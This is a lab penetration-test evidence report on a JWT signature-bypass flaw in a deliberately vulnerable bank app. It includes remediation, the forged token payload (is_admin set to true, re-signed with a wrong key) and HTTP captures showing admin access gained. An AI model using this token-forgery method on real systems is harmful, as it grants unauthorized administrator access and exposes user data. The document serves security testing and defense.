Test case 09 / 26FAIL

JWT Signature Not Verified - Authentication - Token Validation

Lab environment — not a production system

Screenshots and raw traffic are not translated; text within them may be in another language.

vuln-bank/Evidence/[FAIL] JWT Signature Not Verified - Authentication - Token Validation

01 — Notes

Test notes

Vulnerability

[FAIL] JWT Signature Not Verified - Authentication - Token Validation

Description

The verify_token function in auth.py catches InvalidSignatureError and then retries the decode with options={'verify_signature': False}, returning the payload. As a result, tokens with an invalid signature are still accepted. The is_admin claim is read directly from the token payload, so an attacker only needs to change that claim.

Impact

Confidentiality + Integrity (Critical): vertical privilege escalation from an ordinary user to administrator without knowing the signing key. A forged token opens the admin panel and every administrative endpoint, including reading other users' data and managing accounts.

CWE

CWE-347: Improper Verification of Cryptographic Signature

OWASP

A07:2021 - Identification and Authentication Failures

Scenario

Normal: pentest_attacker's legitimate token is rejected by the admin panel with 403 Access Denied. Exploitation: the token payload is changed to user_id 1 and is_admin true, then re-signed with the wrong key (totally-wrong-key). Impact: the forged token is accepted, the admin panel opens, and administrator data is readable.

Endpoint

GET http://127.0.0.1:5001/sup3r_s3cr3t_admin GET http://127.0.0.1:5001/api/v3/user/1

Affected feature

JWT validation across all protected endpoints (token_required decorator)

Remediation

- Remove the fallback path that decodes with verify_signature False; a signature verification failure must always reject the request. - Pin the algorithm to one expected value (HS256) and reject any other value. - Do not make authorization decisions from claims inside the token; fetch the role from the database using the token subject. - Use a strong random secret and add an exp claim.

Proof of concept

1) (Screenshot 1) NORMAL: pentest_attacker's legitimate token to /sup3r_s3cr3t_admin -> HTTP 403 Access Denied. 2) (Screenshot 2) PROCESS: the token is decoded, the user_id claim is changed to 1 and is_admin to true, then re-signed with the wrong key. 3) (Screenshot 3) EXPLOITATION: the forged token to /sup3r_s3cr3t_admin -> HTTP 200, the admin panel opens. 4) (Screenshot 4) CIA IMPACT: the forged token reads /api/v3/user/1 -> administrator data (ADMIN001, is_admin true) is exposed.
View source note (English)
Vulnerability:
[FAIL] JWT Signature Not Verified - Authentication - Token Validation

Description:
The verify_token function in auth.py catches InvalidSignatureError and then retries the decode with options={'verify_signature': False}, returning the payload. As a result, tokens with an invalid signature are still accepted. The is_admin claim is read directly from the token payload, so an attacker only needs to change that claim.

Impact:
Confidentiality + Integrity (Critical): vertical privilege escalation from an ordinary user to administrator without knowing the signing key. A forged token opens the admin panel and every administrative endpoint, including reading other users' data and managing accounts.

CWE:
CWE-347: Improper Verification of Cryptographic Signature

OWASP:
A07:2021 - Identification and Authentication Failures

Scenario:
Normal: pentest_attacker's legitimate token is rejected by the admin panel with 403 Access Denied. Exploitation: the token payload is changed to user_id 1 and is_admin true, then re-signed with the wrong key (totally-wrong-key). Impact: the forged token is accepted, the admin panel opens, and administrator data is readable.

Endpoint:
GET http://127.0.0.1:5001/sup3r_s3cr3t_admin
GET http://127.0.0.1:5001/api/v3/user/1

Affected Feature:
JWT validation across all protected endpoints (token_required decorator)

Remediation:
- Remove the fallback path that decodes with verify_signature False; a signature verification failure must always reject the request.
- Pin the algorithm to one expected value (HS256) and reject any other value.
- Do not make authorization decisions from claims inside the token; fetch the role from the database using the token subject.
- Use a strong random secret and add an exp claim.

POC:
1) (Screenshot 1) NORMAL: pentest_attacker's legitimate token to /sup3r_s3cr3t_admin -> HTTP 403 Access Denied.
2) (Screenshot 2) PROCESS: the token is decoded, the user_id claim is changed to 1 and is_admin to true, then re-signed with the wrong key.
3) (Screenshot 3) EXPLOITATION: the forged token to /sup3r_s3cr3t_admin -> HTTP 200, the admin panel opens.
4) (Screenshot 4) CIA IMPACT: the forged token reads /api/v3/user/1 -> administrator data (ADMIN001, is_admin true) is exposed.

02 — Screenshots

Screenshots (3)

01 / 1
02 / 3
03 / 4

03 — Process details

Process details

Credential values are masked in this HTML view; references to complete tokens describe the source capture.

PROCESS 01 / 2
01 / Prepare a modified JWT

Prepare a modified JWT

Captured token

[REDACTED-LAB-JWT]

Decoded header

{
  "typ": "JWT",
  "alg": "HS256"
}

Decoded payload

{
  "user_id": 2,
  "username": "pentest_attacker",
  "is_admin": false,
  "iat": 1790737096
}

Modified payload

{
  "user_id": 1,
  "username": "admin",
  "is_admin": true,
  "iat": 1790736461
}

Signing key used

[REDACTED-LAB-SIGNING-KEY]

Re-encoded token

[REDACTED-LAB-JWT]

Credential values are masked in this HTML view; references to complete tokens describe the source capture.

04 — Requests and responses

HTTP captures

Some credential values are masked in this public HTML view. This does not mean every sensitive value or linked file has been redacted.

CAPTURE 01 / 1
HTTP request
GET /sup3r_s3cr3t_admin HTTP/1.1
User-Agent: python-requests/2.33.1
Accept-Encoding: gzip, deflate, br, zstd
Accept: */*
Connection: keep-alive
Authorization: Bearer [REDACTED-LAB-TOKEN]

HTTP response
HTTP/1.1 403 FORBIDDEN
Content-Type: text/html; charset=utf-8
Content-Length: 13
Access-Control-Allow-Origin: *
Server: Werkzeug/2.0.1 Python/3.9.25
Date: Wed, 30 Sep 2026 02:58:16 GMT

Access Denied
CAPTURE 02 / 3
HTTP request
GET /sup3r_s3cr3t_admin HTTP/1.1
User-Agent: python-requests/2.33.1
Accept-Encoding: gzip, deflate, br, zstd
Accept: */*
Connection: keep-alive
Authorization: Bearer [REDACTED-LAB-TOKEN]

HTTP response
HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
Content-Length: 43060
Access-Control-Allow-Origin: *
Server: Werkzeug/2.0.1 Python/3.9.25
Date: Wed, 30 Sep 2026 02:58:18 GMT

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Admin Panel - VulnBank</title>
    <link rel="icon" type="image/svg+xml" href="/static/favicon.svg">
    <link rel="icon" type="image/svg+xml" href="/static/favicon-16.svg" sizes="16x16">
    <link rel="stylesheet" href="/static/style.css">
    <link rel="stylesheet" href="/static/admin.css">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <script>document.documentElement.setAttribute("data-theme", localStorage.getItem("vb-theme") || "light");</script>
</head>
<body>
    <a href="#main-content" class="skip-link">Skip to main content</a>

    <div class="admin-layout">
        <!-- Sidebar -->
        <aside class="admin-sidebar">
            <div class="sidebar-header">
                <div class="sidebar-logo">
                    <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round">
                        <path d="M12 2v20M17 5H9.5a3.5 3.5 0 0 0 0 7h5a3.5 3.5 0 0 1 0 7H6"></path>
                    </svg>
                    <span class="sidebar-logo-text">VulnBank</span>
                    <span class="sidebar-badge">Admin</span>
                </div>
            </div>

            <nav class="sidebar-nav">
                <a href="#overview" class="sidebar-nav-item active" data-section="overview">
                    <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round">
                        <rect x="3" y="3" width="7" height="7"></rect>
                        <rect x="14" y="3" width="7" height="7"></rect>
                        <rect x="14" y="14" width="7" height="7"></rect>
                        <rect x="3" y="14" width="7" height="7"></rect>
                    </svg>
                    <span>Overview</span>
                </a>
                <a href="#users" class="sidebar-nav-item" data-section="users">
                    <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round">
                        <path d="M17 21v-2a4 4 0 0 0-4-4H5a4 4 0 0 0-4 4v2"></path>
                        <circle cx="9" cy="7" r="4"></circle>
                        <path d="M23 21v-2a4 4 0 0 0-3-3.87"></path>
                        <path d="M16 3.13a4 4 0 0 1 0 7.75"></path>
                    </svg>
                    <span>Users</span>
                </a>
                <a href="#loans" class="sidebar-nav-item" data-section="loans">
                    <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round">
                        <rect x="2" y="7" width="20" height="14" rx="2" ry="2"></rect>
                        <path d="M16 21V5a2 2 0 0 0-2-2h-4a2 2 0 0 0-2 2v16"></path>
                    </svg>
                    <span>Loans</span>
                </a>
                <a href="#settings" class="sidebar-nav-item" data-section="settings">
                    <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round">
                        <circle cx="12" cy="12" r="3"></circle>
                        <path d="M19.4 15a1.65 1.65 0 0 0 .33 1.82l.06.06a2 2 0 0 1 0 2.83 2 2 0 0 1-2.83 0l-.06-.06a1.65 1.65 0 0 0-1.82-.33 1.65 1.65 0 0 0-1 1.51V21a2 2 0 0 1-2 2 2 2 0 0 1-2-2v-.09A1.65 1.65 0 0 0-9 19.4a1.65 1.65 0 0 0-1 1.51 1.65 1.65 0 0 0-1.82.33l-.06.06a2 2 0 0 1-2.83 0 2 2 0 0 1 0-2.83l.06-.06a1.65 1.65 0 0 0 .33-1.82 1.65 1.65 0 0 0-1.51-1H3a2 2 0 0 1-2-2 2 2 0 0 1 2-2h.09A1.65 1.65 0 0 0 4.6 9a1.65 1.65 0 0 0 .33-1.82l-.06-.06a2 2 0 0 1 0-2.83 2 2 0 0 1 2.83 0l.06.06a1.65 1.65 0 0 0 1.82.33H9a1.65 1.65 0 0 0 1-1.51V3a2 2 0 0 1 2-2 2 2 0 0 1 2 2v.09a1.65 1.65 0 0 0 1 1.51 1.65 1.65 0 0 0 1.82-.33l.06-.06a2 2 0 0 1 2.83 0 2 2 0 0 1 0 2.83l-.06.06a1.65 1.65 0 0 0-.33 1.82V9a1.65 1.65 0 0 0 1.51 1H21a2 2 0 0 1 2 2 2 2 0 0 1-2 2h-.09a1.65 1.65 0 0 0-1.51 1z"></path>
                    </svg>
                    <span>Settings</span>
                </a>
            </nav>

            <div class="sidebar-footer">
                <a href="/dashboard" class="sidebar-back-link">
                    <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round">
                        <line x1="19" y1="12" x2="5" y2="12"></line>
                        <polyline points="12 19 5 12 12 5"></polyline>
                    </svg>
                    <span>Back to Dashboard</span>
                </a>
                <button class="theme-toggle-sidebar" onclick="toggleTheme()" aria-label="Toggle dark mode">
                    <span class="toggle-icon toggle-icon-sun">☀️</span>
                    <span class="toggle-icon toggle-icon-moon">🌙</span>
                </button>
            </div>
        </aside>

        <!-- Main Content -->
        <main class="admin-main" id="main-content">
            <!-- Top Bar -->
            <header class="admin-topbar">
                <h1 class="admin-page-title">Overview</h1>
                <div class="admin-profile-mini">
                    <span class="admin-name">System Administrator</span>
                    <img src="/static/uploads/admin.png" alt="Admin">
                </div>
            </header>

            <!-- Messages -->
            <div id="message" aria-live="polite"></div>

            <!-- Overview Section -->
            <section class="admin-section" id="overview-section">
                <div class="section-header">
                    <h2>Transaction Analytics</h2>
                    <p class="section-subt

[... 37049 more bytes not shown ...]
CAPTURE 03 / 4
HTTP request
GET /api/v3/user/1 HTTP/1.1
User-Agent: python-requests/2.33.1
Accept-Encoding: gzip, deflate, br, zstd
Accept: */*
Connection: keep-alive
Authorization: Bearer [REDACTED-LAB-TOKEN]

HTTP response
HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 185
Access-Control-Allow-Origin: *
Server: Werkzeug/2.0.1 Python/3.9.25
Date: Wed, 30 Sep 2026 02:58:19 GMT

{
  "status": "success",
  "user": {
    "account_number": "ADMIN001",
    "balance": 1000000.0,
    "bio": null,
    "id": 1,
    "is_admin": true,
    "username": "admin"
  }
}